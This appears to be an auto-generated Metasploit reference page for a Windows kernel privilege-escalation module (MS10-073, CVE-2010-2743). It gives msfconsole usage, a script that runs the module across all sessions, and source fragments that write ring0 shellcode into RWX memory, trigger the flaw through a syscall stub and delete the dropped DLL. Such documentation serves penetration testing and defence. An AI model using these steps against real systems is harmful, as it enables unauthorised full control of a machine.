Windows Escalate NtUserLoadKeyboardLayoutEx Privilege Escalation - Metasploit
This page contains detailed information about how to use the post/windows/escalate/ms10_073_kbdlayout metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Windows Escalate NtUserLoadKeyboardLayoutEx Privilege Escalation
Module: post/windows/escalate/ms10_073_kbdlayout
Source code: modules/post/windows/escalate/ms10_073_kbdlayout.rb
Disclosure date: 2010-10-12
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2010-2743
This module exploits the keyboard layout vulnerability exploited by Stuxnet. When processing specially crafted keyboard layout files (DLLs), the Windows kernel fails to validate that an array index is within the bounds of the array. By loading a specially crafted keyboard layout, an attacker can execute code in Ring 0.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/windows/escalate/ms10_073_kbdlayout
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/windows/escalate/ms10_073_kbdlayout
msf post(ms10_073_kbdlayout) > show options
... show and set options ...
msf post(ms10_073_kbdlayout) > set SESSION session-id
msf post(ms10_073_kbdlayout) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/windows/escalate/ms10_073_kbdlayout")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Go back to menu.
Msfconsole Usage
Here is how the windows/escalate/ms10_073_kbdlayout post exploitation module looks in the msfconsole:
msf6 > use post/windows/escalate/ms10_073_kbdlayout
msf6 post(windows/escalate/ms10_073_kbdlayout) > show info
Name: Windows Escalate NtUserLoadKeyboardLayoutEx Privilege Escalation
Module: post/windows/escalate/ms10_073_kbdlayout
Platform: Windows
Arch:
Rank: Normal
Disclosed: 2010-10-12
Provided by:
Ruben Santamarta
jduck <[email protected]>
Compatible session types:
Meterpreter
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Description:
This module exploits the keyboard layout vulnerability exploited by
Stuxnet. When processing specially crafted keyboard layout files
(DLLs), the Windows kernel fails to validate that an array index is
within the bounds of the array. By loading a specially crafted
keyboard layout, an attacker can execute code in Ring 0.
References:
OSVDB (68552)
https://nvd.nist.gov/vuln/detail/CVE-2010-2743
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2010/MS10-073
http://www.reversemode.com/index.php?option=com_content&task=view&id=71&Itemid=1
https://www.exploit-db.com/exploits/15985
Module Options
This is a complete list of options available in the windows/escalate/ms10_073_kbdlayout post exploitation module:
msf6 post(windows/escalate/ms10_073_kbdlayout) > show options
Module options (post/windows/escalate/ms10_073_kbdlayout):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the windows/escalate/ms10_073_kbdlayout post exploitation module:
msf6 post(windows/escalate/ms10_073_kbdlayout) > show advanced
Module advanced options (post/windows/escalate/ms10_073_kbdlayout):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the windows/escalate/ms10_073_kbdlayout module can do:
msf6 post(windows/escalate/ms10_073_kbdlayout) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the windows/escalate/ms10_073_kbdlayout post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(windows/escalate/ms10_073_kbdlayout) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- <WINVER> is not vulnerable.
- Unable to open <DLLPATH>
- Unable to allocate RWX memory @ 0x%x
- Unable to fill memory with NO-OPs
- Unable to copy ring0 payload
- Unable to copy unicode string data
- Unable to copy UNICODE_STRING structure
- Unable to GetKeyboardLayout
- Unable to copy system call stub
- Unable to CreateThread
- Unable to ResumeThread
- Unable to free memory @ 0x%x
- Unable to CloseHandle
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<WINVER> is not vulnerable.
Here is a relevant code snippet related to the "<WINVER> is not vulnerable." error message:
50: vuln = true
51: break
52: end
53: }
54: if not vuln
55: print_error("#{winver} is not vulnerable.")
56: return
57: end
58:
59: # syscalls from http://j00ru.vexillium.org/win32k_syscalls/
60: if winver =~ /2000/
Unable to open <DLLPATH>
Here is a relevant code snippet related to the "Unable to open <DLLPATH>" error message:
183: # dll_fd = session.fs.file.new(dllpath, 'rb')
184: # Instead, we'll use railgun to re-open the file
185: ret = session.railgun.kernel32.CreateFileA(dllpath, GENERIC_READ, 1, nil, 3, 0, 0)
186: print_status(ret.inspect)
187: if ret['return'] < 1
188: print_error("Unable to open #{dllpath}")
189: return
190: end
191: hDll = ret['return']
192: print_status("Wrote malicious keyboard layout to #{dllpath} ..")
193:
Unable to allocate RWX memory @ 0x%x
Here is a relevant code snippet related to the "Unable to allocate RWX memory @ 0x%x" error message:
195: mem_base = addr & 0xffff0000
196: mem_size = (addr & 0xffff) + 0x1000
197: mem_size += (0x1000 - (mem_size % 0x1000))
198: mem = session.railgun.kernel32.VirtualAlloc(mem_base, mem_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
199: if (mem['return'] != mem_base)
200: print_error("Unable to allocate RWX memory @ 0x%x" % mem_base)
201: return
202: end
203: print_status("Allocated 0x%x bytes of memory @ 0x%x" % [mem_size, mem_base])
204:
205: # Initialize the buffer to contain NO-OPs
Unable to fill memory with NO-OPs
Here is a relevant code snippet related to the "Unable to fill memory with NO-OPs" error message:
204:
205: # Initialize the buffer to contain NO-OPs
206: nops = "\x90" * mem_size
207: ret = session.railgun.memwrite(mem_base, nops, nops.length)
208: if not ret
209: print_error("Unable to fill memory with NO-OPs")
210: return
211: end
212:
213: # Copy the shellcode to the desired place
214: ret = session.railgun.memwrite(addr, ring0_code, ring0_code.length)
Unable to copy ring0 payload
Here is a relevant code snippet related to the "Unable to copy ring0 payload" error message:
211: end
212:
213: # Copy the shellcode to the desired place
214: ret = session.railgun.memwrite(addr, ring0_code, ring0_code.length)
215: if not ret
216: print_error("Unable to copy ring0 payload")
217: return
218: end
219:
220: # InitializeUnicodeStr(&uStr,L"pwn3d.dll"); -- Is this necessary?
221: pKLID = mem_base
Unable to copy unicode string data
Here is a relevant code snippet related to the "Unable to copy unicode string data" error message:
222: pStr = pKLID + (2 + 2 + 4)
223: kbd_name = "pwn3d.dll"
224: uni_name = Rex::Text.to_unicode(kbd_name + "\x00")
225: ret = session.railgun.memwrite(pStr, uni_name, uni_name.length)
226: if not ret
227: print_error("Unable to copy unicode string data")
228: return
229: end
230: unicode_str = [
231: kbd_name.length * 2,
232: uni_name.length,
Unable to copy UNICODE_STRING structure
Here is a relevant code snippet related to the "Unable to copy UNICODE_STRING structure" error message:
232: uni_name.length,
233: pStr
234: ].pack('vvV')
235: ret = session.railgun.memwrite(pKLID, unicode_str, unicode_str.length)
236: if not ret
237: print_error("Unable to copy UNICODE_STRING structure")
238: return
239: end
240: print_status("Initialized RWX buffer ...")
241:
242: # Get the current Keyboard Layout
Unable to GetKeyboardLayout
Here is a relevant code snippet related to the "Unable to GetKeyboardLayout" error message:
240: print_status("Initialized RWX buffer ...")
241:
242: # Get the current Keyboard Layout
243: ret = session.railgun.user32.GetKeyboardLayout(0)
244: if ret['return'] < 1
245: print_error("Unable to GetKeyboardLayout")
246: return
247: end
248: hKL = ret['return']
249: print_status("Current Keyboard Layout: 0x%x" % hKL)
250:
Unable to copy system call stub
Here is a relevant code snippet related to the "Unable to copy system call stub" error message:
296:
297: # Copy this new system call wrapper function into our RWX memory
298: func_ptr = mem_base + 0x1000
299: ret = session.railgun.memwrite(func_ptr, bytes, bytes.length)
300: if not ret
301: print_error('Unable to copy system call stub')
302: return
303: end
304: print_status("Patched in syscall wrapper @ 0x%x" % func_ptr)
305:
306: # GO GO GO
Unable to CreateThread
Here is a relevant code snippet related to the "Unable to CreateThread" error message:
304: print_status("Patched in syscall wrapper @ 0x%x" % func_ptr)
305:
306: # GO GO GO
307: ret = session.railgun.kernel32.CreateThread(nil, 0, func_ptr, nil, "CREATE_SUSPENDED", nil)
308: if ret['return'] < 1
309: print_error("Unable to CreateThread")
310: return
311: end
312: hthread = ret['return']
313:
314: # Resume the thread to actually have the syscall happen
Unable to ResumeThread
Here is a relevant code snippet related to the "Unable to ResumeThread" error message:
312: hthread = ret['return']
313:
314: # Resume the thread to actually have the syscall happen
315: ret = client.railgun.kernel32.ResumeThread(hthread)
316: if ret['return'] < 1
317: print_error("Unable to ResumeThread")
318: return
319: end
320: print_good("Successfully executed syscall wrapper!")
321:
322: # Now, send some input to cause ring0 payload execution...
Unable to free memory @ 0x%x
Here is a relevant code snippet related to the "Unable to free memory @ 0x%x" error message:
337: ensure
338: # Clean up
339: if mem_base
340: ret = session.railgun.kernel32.VirtualFree(mem_base, 0, MEM_RELEASE)
341: if not ret['return']
342: print_error("Unable to free memory @ 0x%x" % mem_base)
343: end
344: end
345:
346: # dll_fd.close
347: if hDll
Unable to CloseHandle
Here is a relevant code snippet related to the "Unable to CloseHandle" error message:
345:
346: # dll_fd.close
347: if hDll
348: ret = session.railgun.kernel32.CloseHandle(hDll)
349: if not ret['return']
350: print_error("Unable to CloseHandle")
351: end
352: end
353:
354: session.fs.file.rm(dllpath) if dllpath
355: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #11215 Merged Pull Request: Fix messages /successfuly/successfully
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6139 Merged Pull Request: Remove bad references (dead links)
- #2782 Merged Pull Request: Stop abusing expand path
- #2525 Merged Pull Request: Change module boilerplate
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
- #958 Merged Pull Request: Msftidy 2
- #259 Merged Pull Request: Convert Exploit-DB references to first-tier "EDB-12345" references
References
- OSVDB (68552)
- CVE-2010-2743
- MS10-073
- http://www.reversemode.com/index.php?option=com_content&task=view&id=71&Itemid=1
- EDB-15985
See Also
Check also the following modules related to this module:
- post/windows/escalate/droplnk
- post/windows/escalate/getsystem
- post/windows/escalate/golden_ticket
- post/windows/escalate/screen_unlock
- post/windows/escalate/unmarshal_cmd_exec
Authors
- Ruben Santamarta
- jduck
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.